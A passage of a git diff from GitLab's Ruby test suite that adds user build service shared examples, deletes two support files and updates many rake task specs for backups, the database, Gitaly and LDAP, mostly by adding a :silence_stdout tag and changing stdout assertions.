+ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/binary-amd64/Packages
+ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/binary-arm64/Packages
+ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 main/binary-all/Packages
+ #{main_amd64_sha256} #{main_amd64_size} main/binary-amd64/Packages
+ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 main/binary-arm64/Packages
+ EOF
+
+ distribution.file.use_file do |file_path|
+ expect(File.read(file_path)).to eq(expected_release_content)
+ end
+ end
+ end
+end
+
+RSpec.shared_examples 'Generate minimal Debian Distribution' do
+ it 'generates minimal distribution', :aggregate_failures do
+ travel_to(Time.utc(2020, 01, 25, 15, 17, 18, 123456)) do
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+
+ expect { subject }
+ .to not_change { Packages::Package.count }
+ .and not_change { Packages::PackageFile.count }
+ .and not_change { distribution.component_files.reset.count }
+
+ expected_release_content = <<~EOF
+ Codename: unstable
+ Date: Sat, 25 Jan 2020 15:17:18 +0000
+ Valid-Until: Mon, 27 Jan 2020 15:17:18 +0000
+ MD5Sum:
+ SHA256:
+ EOF
+
+ distribution.file.use_file do |file_path|
+ expect(File.read(file_path)).to eq(expected_release_content)
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/services/users/build_service_shared_examples.rb b/spec/support/shared_examples/services/users/build_service_shared_examples.rb
new file mode 100644
index 00000000000..6a8695e1786
--- /dev/null
+++ b/spec/support/shared_examples/services/users/build_service_shared_examples.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'common user build items' do
+ it { is_expected.to be_valid }
+
+ it 'sets the created_by_id' do
+ expect(user.created_by_id).to eq(current_user&.id)
+ end
+
+ it 'calls UpdateCanonicalEmailService' do
+ expect(Users::UpdateCanonicalEmailService).to receive(:new).and_call_original
+
+ user
+ end
+
+ context 'when user_type is provided' do
+ context 'when project_bot' do
+ before do
+ params.merge!({ user_type: :project_bot })
+ end
+
+ it { expect(user.project_bot?).to be true }
+ end
+
+ context 'when not a project_bot' do
+ before do
+ params.merge!({ user_type: :alert_bot })
+ end
+
+ it { expect(user).to be_human }
+ end
+ end
+end
+
+RSpec.shared_examples_for 'current user not admin build items' do
+ using RSpec::Parameterized::TableSyntax
+
+ context 'with "user_default_external" application setting' do
+ where(:user_default_external, :external, :email, :user_default_internal_regex, :result) do
+ true | nil | 'fl@example.com' | nil | true
+ true | true | 'fl@example.com' | nil | true
+ true | false | 'fl@example.com' | nil | true # admin difference
+
+ true | nil | 'fl@example.com' | '' | true
+ true | true | 'fl@example.com' | '' | true
+ true | false | 'fl@example.com' | '' | true # admin difference
+
+ true | nil | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false
+ true | true | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false # admin difference
+ true | false | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false
+
+ true | nil | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | true
+ true | true | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | true
+ true | false | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | true # admin difference
+
+ false | nil | 'fl@example.com' | nil | false
+ false | true | 'fl@example.com' | nil | false # admin difference
+ false | false | 'fl@example.com' | nil | false
+
+ false | nil | 'fl@example.com' | '' | false
+ false | true | 'fl@example.com' | '' | false # admin difference
+ false | false | 'fl@example.com' | '' | false
+
+ false | nil | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false
+ false | true | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false # admin difference
+ false | false | 'fl@example.com' | '^(?:(?!\.ext@).)*$\r?' | false
+
+ false | nil | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | false
+ false | true | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | false # admin difference
+ false | false | 'tester.ext@domain.com' | '^(?:(?!\.ext@).)*$\r?' | false
+ end
+
+ with_them do
+ before do
+ stub_application_setting(user_default_external: user_default_external)
+ stub_application_setting(user_default_internal_regex: user_default_internal_regex)
+
+ params.merge!({ external: external, email: email }.compact)
+ end
+
+ it 'sets the value of Gitlab::CurrentSettings.user_default_external' do
+ expect(user.external).to eq(result)
+ end
+ end
+ end
+
+ context 'when "send_user_confirmation_email" application setting is true' do
+ before do
+ stub_application_setting(send_user_confirmation_email: true, signup_enabled?: true)
+ end
+
+ it 'does not confirm the user' do
+ expect(user).not_to be_confirmed
+ end
+ end
+
+ context 'when "send_user_confirmation_email" application setting is false' do
+ before do
+ stub_application_setting(send_user_confirmation_email: false, signup_enabled?: true)
+ end
+
+ it 'confirms the user' do
+ expect(user).to be_confirmed
+ end
+ end
+
+ context 'with allowed params' do
+ let(:params) do
+ {
+ email: 1,
+ name: 1,
+ password: 1,
+ password_automatically_set: 1,
+ username: 1,
+ user_type: 'project_bot'
+ }
+ end
+
+ it 'sets all allowed attributes' do
+ expect(User).to receive(:new).with(hash_including(params)).and_call_original
+
+ user
+ end
+ end
+end
diff --git a/spec/support/shared_examples/uncached_response_shared_examples.rb b/spec/support/shared_examples/uncached_response_shared_examples.rb
deleted file mode 100644
index 3997017ff35..00000000000
--- a/spec/support/shared_examples/uncached_response_shared_examples.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-#
-# Pairs with lib/gitlab/no_cache_headers.rb
-#
-
-RSpec.shared_examples 'uncached response' do
- it 'defines an uncached header response' do
- expect(response.headers["Cache-Control"]).to include("no-store", "no-cache")
- expect(response.headers["Pragma"]).to eq("no-cache")
- expect(response.headers["Expires"]).to eq("Fri, 01 Jan 1990 00:00:00 GMT")
- end
-end
diff --git a/spec/support/unicorn.rb b/spec/support/unicorn.rb
deleted file mode 100644
index 0b01fc9e26c..00000000000
--- a/spec/support/unicorn.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-REQUEST_CLASSES = [
- ::Grape::Request,
- ::Rack::Request
-].freeze
-
-def request_body_class
- return ::Unicorn::TeeInput if defined?(::Unicorn)
-
- Class.new(StringIO) do
- def string
- raise NotImplementedError, '#string is only valid under Puma which uses StringIO, use #read instead'
- end
- end
-end
-
-RSpec.configure do |config|
- config.before(:each, :unicorn) do
- REQUEST_CLASSES.each do |request_class|
- allow_any_instance_of(request_class)
- .to receive(:body).and_wrap_original do |m, *args|
- request_body_class.new(m.call(*args).read)
- end
- end
- end
-end
diff --git a/spec/tasks/admin_mode_spec.rb b/spec/tasks/admin_mode_spec.rb
index 9dd35650ab6..116d47aa503 100644
--- a/spec/tasks/admin_mode_spec.rb
+++ b/spec/tasks/admin_mode_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'admin mode on tasks' do
+RSpec.describe 'admin mode on tasks', :silence_stdout do
before do
allow(::Gitlab::Runtime).to receive(:test_suite?).and_return(false)
allow(::Gitlab::Runtime).to receive(:rake?).and_return(true)
diff --git a/spec/tasks/cache/clear/redis_spec.rb b/spec/tasks/cache/clear/redis_spec.rb
index d2de068f254..64ed83c649b 100644
--- a/spec/tasks/cache/clear/redis_spec.rb
+++ b/spec/tasks/cache/clear/redis_spec.rb
@@ -2,11 +2,15 @@
require 'rake_helper'
-RSpec.describe 'clearing redis cache' do
+RSpec.describe 'clearing redis cache', :clean_gitlab_redis_cache, :silence_stdout do
before do
Rake.application.rake_require 'tasks/cache'
end
+ shared_examples 'clears the cache' do
+ it { expect { run_rake_task('cache:clear:redis') }.to change { redis_keys.size }.by(-1) }
+ end
+
describe 'clearing pipeline status cache' do
let(:pipeline_status) do
project = create(:project, :repository)
@@ -20,5 +24,38 @@ RSpec.describe 'clearing redis cache' do
it 'clears pipeline status cache' do
expect { run_rake_task('cache:clear:redis') }.to change { pipeline_status.has_cache? }
end
+
+ it_behaves_like 'clears the cache'
+ end
+
+ describe 'clearing set caches' do
+ context 'repository set' do
+ let(:project) { create(:project) }
+ let(:repository) { project.repository }
+
+ let(:cache) { Gitlab::RepositorySetCache.new(repository) }
+
+ before do
+ pending "Enable as part of https://gitlab.com/gitlab-org/gitlab/-/issues/331319"
+
+ cache.write(:foo, [:bar])
+ end
+
+ it_behaves_like 'clears the cache'
+ end
+
+ context 'reactive cache set' do
+ let(:cache) { Gitlab::ReactiveCacheSetCache.new }
+
+ before do
+ cache.write(:foo, :bar)
+ end
+
+ it_behaves_like 'clears the cache'
+ end
+ end
+
+ def redis_keys
+ Gitlab::Redis::Cache.with { |redis| redis.scan(0, match: "*") }.last
end
end
diff --git a/spec/tasks/config_lint_spec.rb b/spec/tasks/config_lint_spec.rb
index f5a382989ea..34899c84888 100644
--- a/spec/tasks/config_lint_spec.rb
+++ b/spec/tasks/config_lint_spec.rb
@@ -3,7 +3,7 @@
require 'rake_helper'
Rake.application.rake_require 'tasks/config_lint'
-RSpec.describe ConfigLint do
+RSpec.describe ConfigLint, :silence_stdout do
let(:files) { ['lib/support/fake.sh'] }
it 'errors out if any bash scripts have errors' do
@@ -15,7 +15,7 @@ RSpec.describe ConfigLint do
end
end
-RSpec.describe 'config_lint rake task' do
+RSpec.describe 'config_lint rake task', :silence_stdout do
before do
# Prevent `system` from actually being called
allow(Kernel).to receive(:system).and_return(true)
diff --git a/spec/tasks/gettext_rake_spec.rb b/spec/tasks/gettext_rake_spec.rb
index a535ac92a75..29caa363f7b 100644
--- a/spec/tasks/gettext_rake_spec.rb
+++ b/spec/tasks/gettext_rake_spec.rb
@@ -1,8 +1,8 @@
# frozen_string_literal: true
-require "rake_helper"
+require 'rake_helper'
-RSpec.describe 'gettext' do
+RSpec.describe 'gettext', :silence_stdout do
let(:locale_path) { Rails.root.join('tmp/gettext_spec') }
let(:pot_file_path) { File.join(locale_path, 'gitlab.pot') }
diff --git a/spec/tasks/gitlab/artifacts/check_rake_spec.rb b/spec/tasks/gitlab/artifacts/check_rake_spec.rb
index d1d02ab9bc5..e0303170755 100644
--- a/spec/tasks/gitlab/artifacts/check_rake_spec.rb
+++ b/spec/tasks/gitlab/artifacts/check_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:artifacts rake tasks' do
+RSpec.describe 'gitlab:artifacts rake tasks', :silence_stdout do
describe 'check' do
let!(:artifact) { create(:ci_job_artifact, :archive, :correct_checksum) }
diff --git a/spec/tasks/gitlab/artifacts/migrate_rake_spec.rb b/spec/tasks/gitlab/artifacts/migrate_rake_spec.rb
index 94a8da9478a..25a3723fbaa 100644
--- a/spec/tasks/gitlab/artifacts/migrate_rake_spec.rb
+++ b/spec/tasks/gitlab/artifacts/migrate_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:artifacts namespace rake task' do
+RSpec.describe 'gitlab:artifacts namespace rake task', :silence_stdout do
before(:context) do
Rake.application.rake_require 'tasks/gitlab/artifacts/migrate'
end
diff --git a/spec/tasks/gitlab/backup_rake_spec.rb b/spec/tasks/gitlab/backup_rake_spec.rb
index 8963164ac53..e5a210bb344 100644
--- a/spec/tasks/gitlab/backup_rake_spec.rb
+++ b/spec/tasks/gitlab/backup_rake_spec.rb
@@ -1,7 +1,6 @@
# frozen_string_literal: true
-require 'spec_helper'
-require 'rake'
+require 'rake_helper'
RSpec.describe 'gitlab:app namespace rake task', :delete do
let(:enable_registry) { true }
@@ -24,14 +23,10 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
before(:all) do
Rake.application.rake_require 'active_record/railties/databases'
- Rake.application.rake_require 'tasks/gitlab/helpers'
Rake.application.rake_require 'tasks/gitlab/backup'
Rake.application.rake_require 'tasks/gitlab/shell'
Rake.application.rake_require 'tasks/gitlab/db'
Rake.application.rake_require 'tasks/cache'
-
- # empty task as env is already loaded
- Rake::Task.define_task :environment
end
before do
@@ -39,6 +34,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
FileUtils.rm(tars_glob, force: true)
FileUtils.rm(backup_files, force: true)
FileUtils.rm_rf(backup_directories, secure: true)
+ FileUtils.mkdir_p('tmp/tests/public/uploads')
reenable_backup_sub_tasks
stub_container_registry_config(enabled: enable_registry)
end
@@ -47,12 +43,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
FileUtils.rm(tars_glob, force: true)
FileUtils.rm(backup_files, force: true)
FileUtils.rm_rf(backup_directories, secure: true)
- end
-
- def run_rake_task(task_name)
- FileUtils.mkdir_p('tmp/tests/public/uploads')
- Rake::Task[task_name].reenable
- Rake.application.invoke_task task_name
+ FileUtils.rm_rf('tmp/tests/public/uploads', secure: true)
end
def reenable_backup_sub_tasks
@@ -92,11 +83,11 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
end
it 'invokes restoration on match' do
- expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout_from_any_process
end
it 'prints timestamps on messages' do
- expect { run_rake_task('gitlab:backup:restore') }.to output(/.*\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2}\s[-+]\d{4}\s--\s.*/).to_stdout
+ expect { run_rake_task('gitlab:backup:restore') }.to output(/.*\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2}\s[-+]\d{4}\s--\s.*/).to_stdout_from_any_process
end
end
end
@@ -105,14 +96,16 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
before do
# We only need a backup of the repositories for this test
stub_env('SKIP', 'db,uploads,builds,artifacts,lfs,registry')
+
+ create(:project, :repository)
end
it 'removes stale data' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
excluded_project = create(:project, :repository, name: 'mepmep')
- expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout_from_any_process
raw_repo = excluded_project.repository.raw
@@ -124,9 +117,10 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
context 'when the backup is restored' do
let!(:included_project) { create(:project, :repository) }
+ let!(:original_checksum) { included_project.repository.checksum }
before do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
backup_tar = Dir.glob(File.join(Gitlab.config.backup.path, '*_gitlab_backup.tar')).last
allow(Dir).to receive(:glob).and_return([backup_tar])
@@ -153,11 +147,12 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
end
it 'restores the data' do
- expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout_from_any_process
raw_repo = included_project.repository.raw
expect(raw_repo.empty?).to be(false)
+ expect(included_project.repository.checksum).to eq(original_checksum)
end
end
end
@@ -169,8 +164,9 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
allow(ActiveRecord::Base.connection).to receive(:reconnect!)
end
+ let!(:project) { create(:project, :repository) }
+
describe 'backup creation and deletion using custom_hooks' do
- let(:project) { create(:project, :repository) }
let(:user_backup_path) { "repositories/#{project.disk_path}" }
before do
@@ -184,7 +180,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
context 'project uses custom_hooks and successfully creates backup' do
it 'creates custom_hooks.tar and project bundle' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
tar_contents, exit_status = Gitlab::Popen.popen(%W{tar -tvf #{backup_tar}})
@@ -195,8 +191,8 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
end
it 'restores files correctly' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
- expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
+ expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout_from_any_process
repo_path = Gitlab::GitalyClient::StorageSettings.allow_disk_access do
project.repository.path
@@ -210,7 +206,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
it 'prints a progress message to stdout' do
task_list.each do |task|
- expect { run_rake_task("gitlab:backup:#{task}:create") }.to output(/Dumping /).to_stdout
+ expect { run_rake_task("gitlab:backup:#{task}:create") }.to output(/Dumping /).to_stdout_from_any_process
end
end
end
@@ -219,7 +215,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
context 'tar creation' do
context 'archive file permissions' do
it 'sets correct permissions on the tar file' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
expect(File.exist?(backup_tar)).to be_truthy
expect(File::Stat.new(backup_tar).mode.to_s(8)).to eq('100600')
@@ -231,7 +227,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
end
it 'uses the custom permissions' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
expect(File::Stat.new(backup_tar).mode.to_s(8)).to eq('100651')
end
@@ -239,7 +235,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
end
it 'sets correct permissions on the tar contents' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
tar_contents, exit_status = Gitlab::Popen.popen(
%W{tar -tvf #{backup_tar} db uploads.tar.gz repositories builds.tar.gz artifacts.tar.gz pages.tar.gz lfs.tar.gz registry.tar.gz}
@@ -258,7 +254,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
end
it 'deletes temp directories' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
temp_dirs = Dir.glob(
File.join(Gitlab.config.backup.path, '{db,repositories,uploads,builds,artifacts,pages,lfs,registry}')
@@ -271,7 +267,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
let(:enable_registry) { false }
it 'does not create registry.tar.gz' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
tar_contents, exit_status = Gitlab::Popen.popen(
%W{tar -tvf #{backup_tar}}
@@ -301,10 +297,8 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
shared_examples 'includes repositories in all repository storages' do
specify :aggregate_failures do
project_a = create(:project, :repository)
- project_a.track_project_repository
project_snippet_a = create(:project_snippet, :repository, project: project_a, author: project_a.owner)
project_b = create(:project, :repository, repository_storage: second_storage_name)
- project_b.track_project_repository
project_snippet_b = create(:project_snippet, :repository, project: project_b, author: project_b.owner)
project_snippet_b.snippet_repository.update!(shard: project_b.project_repository.shard)
create(:wiki_page, container: project_a)
@@ -313,7 +307,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
move_repository_to_secondary(project_b)
move_repository_to_secondary(project_snippet_b)
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
tar_contents, exit_status = Gitlab::Popen.popen(
%W{tar -tvf #{backup_tar} repositories}
@@ -379,7 +373,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
.and_call_original
end
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
end
it 'passes through concurrency environment variables' do
@@ -392,7 +386,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
.and_call_original
end
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
end
end
end
@@ -401,10 +395,12 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
describe "Skipping items" do
before do
stub_env('SKIP', 'repositories,uploads')
+
+ create(:project, :repository)
end
it "does not contain skipped item" do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
tar_contents, _exit_status = Gitlab::Popen.popen(
%W{tar -tvf #{backup_tar} db uploads.tar.gz repositories builds.tar.gz artifacts.tar.gz pages.tar.gz lfs.tar.gz registry.tar.gz}
@@ -421,7 +417,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
end
it 'does not invoke repositories restore' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
allow(Rake::Task['gitlab:shell:setup'])
.to receive(:invoke).and_return(true)
@@ -436,17 +432,19 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
expect(Rake::Task['gitlab:backup:lfs:restore']).to receive :invoke
expect(Rake::Task['gitlab:backup:registry:restore']).to receive :invoke
expect(Rake::Task['gitlab:shell:setup']).to receive :invoke
- expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:restore') }.to output.to_stdout_from_any_process
end
end
describe 'skipping tar archive creation' do
before do
stub_env('SKIP', 'tar')
+
+ create(:project, :repository)
end
it 'created files with backup content and no tar archive' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
dir_contents = Dir.children(Gitlab.config.backup.path)
@@ -465,7 +463,7 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
end
it 'those component files can be restored from' do
- expect { run_rake_task("gitlab:backup:create") }.to output.to_stdout
+ expect { run_rake_task("gitlab:backup:create") }.to output.to_stdout_from_any_process
allow(Rake::Task['gitlab:shell:setup'])
.to receive(:invoke).and_return(true)
@@ -480,13 +478,13 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
expect(Rake::Task['gitlab:backup:lfs:restore']).to receive :invoke
expect(Rake::Task['gitlab:backup:registry:restore']).to receive :invoke
expect(Rake::Task['gitlab:shell:setup']).to receive :invoke
- expect { run_rake_task("gitlab:backup:restore") }.to output.to_stdout
+ expect { run_rake_task("gitlab:backup:restore") }.to output.to_stdout_from_any_process
end
end
describe "Human Readable Backup Name" do
it 'name has human readable time' do
- expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
+ expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout_from_any_process
expect(backup_tar).to match(/\d+_\d{4}_\d{2}_\d{2}_\d+\.\d+\.\d+.*_gitlab_backup.tar$/)
end
diff --git a/spec/tasks/gitlab/check_rake_spec.rb b/spec/tasks/gitlab/check_rake_spec.rb
index 7956b5c57e6..aee03059120 100644
--- a/spec/tasks/gitlab/check_rake_spec.rb
+++ b/spec/tasks/gitlab/check_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'check.rake' do
+RSpec.describe 'check.rake', :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/check'
diff --git a/spec/tasks/gitlab/cleanup_rake_spec.rb b/spec/tasks/gitlab/cleanup_rake_spec.rb
index 08d8651dcef..16c907ca87c 100644
--- a/spec/tasks/gitlab/cleanup_rake_spec.rb
+++ b/spec/tasks/gitlab/cleanup_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:cleanup rake tasks' do
+RSpec.describe 'gitlab:cleanup rake tasks', :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/cleanup'
end
diff --git a/spec/tasks/gitlab/container_registry_rake_spec.rb b/spec/tasks/gitlab/container_registry_rake_spec.rb
index b83ff567126..f19e93fc6cb 100644
--- a/spec/tasks/gitlab/container_registry_rake_spec.rb
+++ b/spec/tasks/gitlab/container_registry_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:container_registry namespace rake tasks' do
+RSpec.describe 'gitlab:container_registry namespace rake tasks', :silence_stdout do
let_it_be(:api_url) { 'http://registry.gitlab' }
before :all do
diff --git a/spec/tasks/gitlab/db_rake_spec.rb b/spec/tasks/gitlab/db_rake_spec.rb
index c4623061944..08ca6c32b49 100644
--- a/spec/tasks/gitlab/db_rake_spec.rb
+++ b/spec/tasks/gitlab/db_rake_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require 'rake'
-RSpec.describe 'gitlab:db namespace rake task' do
+RSpec.describe 'gitlab:db namespace rake task', :silence_stdout do
before :all do
Rake.application.rake_require 'active_record/railties/databases'
Rake.application.rake_require 'tasks/seed_fu'
@@ -306,7 +306,7 @@ RSpec.describe 'gitlab:db namespace rake task' do
let(:all_migrations) { [double('migration1', version: 1), pending_migration] }
let(:pending_migration) { double('migration2', version: 2) }
let(:filename) { Gitlab::Database::Migrations::Instrumentation::STATS_FILENAME }
- let!(:directory) { Dir.mktmpdir }
+ let(:result_dir) { Dir.mktmpdir }
let(:observations) { %w[some data] }
before do
@@ -316,19 +316,17 @@ RSpec.describe 'gitlab:db namespace rake task' do
allow(instrumentation).to receive(:observe).and_yield
- allow(Dir).to receive(:mkdir)
- allow(File).to receive(:exist?).with(directory).and_return(false)
- stub_const('Gitlab::Database::Migrations::Instrumentation::RESULT_DIR', directory)
+ stub_const('Gitlab::Database::Migrations::Instrumentation::RESULT_DIR', result_dir)
end
after do
- FileUtils.rm_rf([directory])
+ FileUtils.rm_rf(result_dir)
end
- it 'fails when the directory already exists' do
- expect(File).to receive(:exist?).with(directory).and_return(true)
+ it 'creates result directory when one does not exist' do
+ FileUtils.rm_rf(result_dir)
- expect { subject }.to raise_error(/Directory exists/)
+ expect { subject }.to change { Dir.exist?(result_dir) }.from(false).to(true)
end
it 'instruments the pending migration' do
@@ -346,7 +344,7 @@ RSpec.describe 'gitlab:db namespace rake task' do
it 'writes observations out to JSON file' do
subject
- expect(File.read(File.join(directory, filename))).to eq(observations.to_json)
+ expect(File.read(File.join(result_dir, filename))).to eq(observations.to_json)
end
end
diff --git a/spec/tasks/gitlab/external_diffs_rake_spec.rb b/spec/tasks/gitlab/external_diffs_rake_spec.rb
index 66e555734b3..86242de4b90 100644
--- a/spec/tasks/gitlab/external_diffs_rake_spec.rb
+++ b/spec/tasks/gitlab/external_diffs_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:external_diffs rake tasks' do
+RSpec.describe 'gitlab:external_diffs rake tasks', :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/external_diffs'
end
diff --git a/spec/tasks/gitlab/generate_sample_prometheus_data_spec.rb b/spec/tasks/gitlab/generate_sample_prometheus_data_spec.rb
index a8effef2d7b..67bf512c6da 100644
--- a/spec/tasks/gitlab/generate_sample_prometheus_data_spec.rb
+++ b/spec/tasks/gitlab/generate_sample_prometheus_data_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:generate_sample_prometheus_data rake task' do
+RSpec.describe 'gitlab:generate_sample_prometheus_data rake task', :silence_stdout do
let(:cluster) { create(:cluster, :provided_by_user, :project) }
let(:environment) { create(:environment, project: cluster.project) }
let(:sample_query_file) { File.join(Rails.root, Metrics::SampleMetricsService::DIRECTORY, 'test_query_result.yml') }
diff --git a/spec/tasks/gitlab/git_rake_spec.rb b/spec/tasks/gitlab/git_rake_spec.rb
index 50ec2632d83..aab927a472e 100644
--- a/spec/tasks/gitlab/git_rake_spec.rb
+++ b/spec/tasks/gitlab/git_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:git rake tasks' do
+RSpec.describe 'gitlab:git rake tasks', :silence_stdout do
let(:base_path) { 'tmp/tests/default_storage' }
let!(:project) { create(:project, :repository) }
diff --git a/spec/tasks/gitlab/gitaly_rake_spec.rb b/spec/tasks/gitlab/gitaly_rake_spec.rb
index 1b38580f484..5adea832995 100644
--- a/spec/tasks/gitlab/gitaly_rake_spec.rb
+++ b/spec/tasks/gitlab/gitaly_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:gitaly namespace rake task' do
+RSpec.describe 'gitlab:gitaly namespace rake task', :silence_stdout do
before :all do
Rake.application.rake_require 'tasks/gitlab/gitaly'
end
diff --git a/spec/tasks/gitlab/info_rake_spec.rb b/spec/tasks/gitlab/info_rake_spec.rb
index 941f3429017..19ed43723e2 100644
--- a/spec/tasks/gitlab/info_rake_spec.rb
+++ b/spec/tasks/gitlab/info_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:env:info' do
+RSpec.describe 'gitlab:env:info', :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/info'
diff --git a/spec/tasks/gitlab/ldap_rake_spec.rb b/spec/tasks/gitlab/ldap_rake_spec.rb
index 5286cd98944..693bb7826a3 100644
--- a/spec/tasks/gitlab/ldap_rake_spec.rb
+++ b/spec/tasks/gitlab/ldap_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:ldap:rename_provider rake task' do
+RSpec.describe 'gitlab:ldap:rename_provider rake task', :silence_stdout do
it 'completes without error' do
Rake.application.rake_require 'tasks/gitlab/ldap'
stub_warn_user_is_not_gitlab
@@ -93,8 +93,8 @@ RSpec.describe 'gitlab:ldap:secret rake tasks' do
describe 'write' do
before do
- allow(STDIN).to receive(:tty?).and_return(false)
- allow(STDIN).to receive(:read).and_return('testvalue')
+ allow($stdin).to receive(:tty?).and_return(false)
